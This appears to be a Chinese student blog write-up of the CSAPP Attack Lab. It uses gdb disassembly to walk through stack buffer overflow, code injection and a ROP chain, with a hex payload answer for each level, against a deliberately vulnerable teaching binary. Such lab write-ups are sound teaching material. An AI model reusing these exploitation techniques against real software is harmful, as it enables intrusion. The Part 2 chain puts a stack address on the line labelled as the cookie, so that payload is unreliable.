「CSAPP Lab」缓冲区溢出实验

Attack Lab

ZingLix January 23, 2019

Lab Version: 1/11/16

Cookie: 0x59b997fa

缓冲区溢出

缓冲区溢出是指类似于 scanf 的函数,输入到一个字符数组中并不会检查溢出,所以用户输入的代码会影响到字符数组以外的内存空间,溢出的那部分可能就会产生一些意想不到的结果。这个实验就是展现缓冲区溢出的结果。

Part 1

如下是每次都会运行的函数,其中 getbuf() 是一个存在缓冲区溢出漏洞的函数,实验目标就是修改程序运行行为。

1
2
3
4
5
void test(){
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}

Level 1

这个 Level 要求让程序运行 getbuf 后不返回至 test() 而是转而运行另一函数 touch1()

先对这几个函数反汇编进行观察。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) disas touch1
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>:     sub    $0x8,%rsp
   0x00000000004017c4 <+4>:     movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:    mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:    callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:    mov    $0x1,%edi
   0x00000000004017dd <+29>:    callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:    mov    $0x0,%edi
   0x00000000004017e7 <+39>:    callq  0x400e40 <exit@plt>
End of assembler dump.
(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
   0x00000000004017ac <+4>:     mov    %rsp,%rdi
   0x00000000004017af <+7>:     callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq
End of assembler dump.

从中可以看到 getbuf 申请了 0x28 个字节的栈空间,那么从第 0x29 个字节开始就是返回地址。而我们输入四十个字符以后就会溢出,影响到返回地址的内容。所以我们只要输入的第 41 个字节开始是 touch1 的地址就可以让它返回时获得另一个函数的地址,从而跳转到我们所攻击的函数,从上面可以看到是 0x4017c0

所以答案如下,前 40 个随意构造。

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
C0 17 40

Level 2

这回要做的是让程序能够执行 touch2() 并且还能够将 cookie 作为参数传递给它。

我们能够输入代码的地方就是缓冲区内的一部分,所以思路就是让 getbuf 返回时返回到我们输入的代码地址处,即缓冲区位置,代码负责准备参数然后返回到 touch2() 处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(gdb) disas
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
   0x00000000004017ac <+4>:     mov    %rsp,%rdi
=> 0x00000000004017af <+7>:     callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq
End of assembler dump.
(gdb) print (void *)$rsp
$3 = (void *) 0x5561dc78
(gdb) disas touch2
Dump of assembler code for function touch2:
   0x00000000004017ec <+0>:     sub    $0x8,%rsp
   0x00000000004017f0 <+4>:     mov    %edi,%edx
   ...

得到了缓冲区的位置 0x5561dc78touch2() 的开始位置 0x4017ec,并且参数用 edi 传入。所以我们要注入的代码是

1
2
3
4
0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi ;cookie值
   7:   68 ec 17 40 00          pushq  $0x4017ec        ;返回地址
   c:   c3                      retq

转换成二进制就得到了答案

1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55

Level 3

这一关的要求与上关类似,只是要求传递参数变为字符串。通过反汇编 touch3 可以看到参数依旧由 rdi 传递,所以思路就是手动先将 cookie 转成字符串放入我们输入的代码,然后计算出其地址,传入 rdi,之后与 Level 2 类似,通过压栈改变返回地址从而执行 touch3

答案如下,其中最后一行即为 cookie 值的字符串形式。

1
2
3
4
5
6
7
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61

Part 2

第二部分比起第一部分采用了栈随机化等手段不再能执行栈上代码,所以之前的方法都会失效,但是溢出仍会导致问题。

1
2
3
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

以这样一段代码为例,如果从每句代码中间开始运行,比如跳转到中间那么下一句会是 48 89 c7,这段代码意味着 movq %rax, %rdi。这部分代码存在于代码段所以一定能正常运行,所以通过改变返回地址到代码段中精心挑选的地方就仍能运行我们的攻击代码。

Level 2

与上一部分的 Level 2 的目标一样,题目中给到我们的可用指令中能修改寄存器的只有 movqpopq,且只用两句。通过直接修改返回地址就可以跳转到 touch2,所以这两句目标是将返回值放入 rdi。然后我们能够修改的是栈段内容,所以思路很清楚,先 pop 到某一寄存器再 mov 到 rdi。

1
2
3
4
5
6
7
00000000004019a7 <addval_219>:
  4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
  4019ad:   c3

00000000004019c3 <setval_426>:
  4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  4019c9:   c3

符合条件的是这样两个函数,58 90 c3 完成了 popq %rax48 89 c7 (90) c3 完成了 movq %rax, %rdi。攻击代码也就显而易见了。

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00   //返回至 popq 处
78 dc 61 55 00 00 00 00   //cookie 进栈等待 pop
c5 19 40 00 00 00 00 00   //返回至 movq 处
ec 17 40 00 00 00 00 00   //返回至 touch2 处

Level 3

和上一部分的 Level 3 一样的要求,但是在指导中居然疯狂劝退。。。

说实话,这一部分真的恶心,还得自己去找对应的二进制,用好多个构造出一个目标代码,但是前面实验已经相当清晰的展现了整个缓冲区溢出攻击的过程,最后这个。。。看上去就很不是很想做了,感觉的确花的时间也并不能学到太多东西,所以接受劝退,等以后哪天兴起再填坑吧 :smirk: